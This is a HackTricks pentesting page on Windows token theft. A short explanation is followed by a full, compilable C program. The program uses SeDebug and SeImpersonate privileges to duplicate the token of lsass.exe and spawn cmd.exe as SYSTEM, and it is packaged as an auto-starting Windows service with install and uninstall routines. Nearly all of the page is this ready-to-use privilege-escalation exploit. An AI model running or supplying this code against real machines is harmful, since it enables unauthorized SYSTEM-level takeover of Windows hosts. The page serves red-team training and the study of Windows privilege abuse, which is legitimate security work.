SeDebug + SeImpersonate copy token - HackTricks

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

The following code exploits the privileges SeDebug and SeImpersonate to copy the token from a process running as SYSTEM and with all the token privileges.
In this case, this code can be compiled and used as a Windows service binary to check that it's working.
However, the main part of the code where the elevation occurs is inside the `Exploit` function.
Inside of that function you can see that the process lsass.exe is searched, then it's token is copied, and finally that token is used to spawn a new cmd.exe with all the privileges of the copied token.

Other processes running as SYSTEM with all or most of the token privileges are: services.exe, svhost.exe (on of the firsts ones), wininit.exe, csrss.exe... (remember that you won't be able to copy a token from a Protected process). Moreover, you can use the tool Process Hacker running as administrator to see the tokens of a process.

    // From https://cboard.cprogramming.com/windows-programming/106768-running-my-program-service.html
    #include <windows.h>
    #include <tlhelp32.h>
    #include <tchar.h>
    #pragma comment (lib, "advapi32")

    TCHAR* serviceName = TEXT("TokenDanceSrv");
    SERVICE_STATUS serviceStatus;
    SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
    HANDLE stopServiceEvent = 0;

    //This function will find the pid of a process by name
    int FindTarget(const char *procname) {

    	HANDLE hProcSnap;
    	PROCESSENTRY32 pe32;
    	int pid = 0;

    	hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    	if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

    	pe32.dwSize = sizeof(PROCESSENTRY32);

    	if (!Process32First(hProcSnap, &pe32)) {
    			CloseHandle(hProcSnap);
    			return 0;
    	}

    	while (Process32Next(hProcSnap, &pe32)) {
    			if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
    					pid = pe32.th32ProcessID;
    					break;
    			}
    	}

    	CloseHandle(hProcSnap);

    	return pid;
    }

    int Exploit(void) {

        HANDLE hSystemToken, hSystemProcess;
    	HANDLE dupSystemToken = NULL;
        HANDLE hProcess, hThread;
        STARTUPINFOA si;
        PROCESS_INFORMATION pi;
    	int pid = 0;

        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));

    	// open high privileged process
    	if ( pid = FindTarget("lsass.exe") )
    		hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
    	else
    		return -1;

    	// extract high privileged token
        if (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS, &hSystemToken)) {
            CloseHandle(hSystemProcess);
            return -1;
        }

    	// make a copy of a token
    	DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupSystemToken);

    	// and spawn a new process with higher privs
        CreateProcessAsUserA(dupSystemToken, "C:\\windows\\system32\\cmd.exe",
    						NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

        return 0;
    }

    void WINAPI ServiceControlHandler( DWORD controlCode ) {
    	switch ( controlCode ) {
    		case SERVICE_CONTROL_SHUTDOWN:
    		case SERVICE_CONTROL_STOP:
    			serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
    			SetServiceStatus( serviceStatusHandle, &serviceStatus );

    			SetEvent( stopServiceEvent );
    			return;

    		case SERVICE_CONTROL_PAUSE:
    			break;

    		case SERVICE_CONTROL_CONTINUE:
    			break;

    		case SERVICE_CONTROL_INTERROGATE:
    			break;

    		default:
    			break;
    	}
    	SetServiceStatus( serviceStatusHandle, &serviceStatus );
    }

    void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
    	// initialise service status
    	serviceStatus.dwServiceType = SERVICE_WIN32;
    	serviceStatus.dwCurrentState = SERVICE_STOPPED;
    	serviceStatus.dwControlsAccepted = 0;
    	serviceStatus.dwWin32ExitCode = NO_ERROR;
    	serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
    	serviceStatus.dwCheckPoint = 0;
    	serviceStatus.dwWaitHint = 0;

    	serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );

    	if ( serviceStatusHandle ) {
    		// service is starting
    		serviceStatus.dwCurrentState = SERVICE_START_PENDING;
    		SetServiceStatus( serviceStatusHandle, &serviceStatus );

    		// do initialisation here
    		stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );

    		// running
    		serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
    		serviceStatus.dwCurrentState = SERVICE_RUNNING;
    		SetServiceStatus( serviceStatusHandle, &serviceStatus );

    		Exploit();
    		WaitForSingleObject( stopServiceEvent, -1 );

    		// service was stopped
    		serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
    		SetServiceStatus( serviceStatusHandle, &serviceStatus );

    		// do cleanup here
    		CloseHandle( stopServiceEvent );
    		stopServiceEvent = 0;

    		// service is now stopped
    		serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
    		serviceStatus.dwCurrentState = SERVICE_STOPPED;
    		SetServiceStatus( serviceStatusHandle, &serviceStatus );
    	}
    }

    void InstallService() {
    	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );

    	if ( serviceControlManager ) {
    		TCHAR path[ _MAX_PATH + 1 ];
    		if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
    			SC_HANDLE service = CreateService( serviceControlManager,
    							serviceName, serviceName,
    							SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
    							SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
    							0, 0, 0, 0, 0 );
    			if ( service )
    				CloseServiceHandle( service );
    		}
    		CloseServiceHandle( serviceControlManager );
    	}
    }

    void UninstallService() {
    	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );

    	if ( serviceControlManager ) {
    		SC_HANDLE service = OpenService( serviceControlManager,
    			serviceName, SERVICE_QUERY_STATUS | DELETE );
    		if ( service ) {
    			SERVICE_STATUS serviceStatus;
    			if ( QueryServiceStatus( service, &serviceStatus ) ) {
    				if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
    					DeleteService( service );
    			}
    			CloseServiceHandle( service );
    		}
    		CloseServiceHandle( serviceControlManager );
    	}
    }

    int _tmain( int argc, TCHAR* argv[] )
    {
    	if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
    		InstallService();
    	}
    	else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
    		UninstallService();
    	}
    	else  {
    		SERVICE_TABLE_ENTRY serviceTable[] = {
    			{ serviceName, ServiceMain },
    			{ 0, 0 }
    		};

    		StartServiceCtrlDispatcher( serviceTable );
    	}

    	return 0;
    }

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.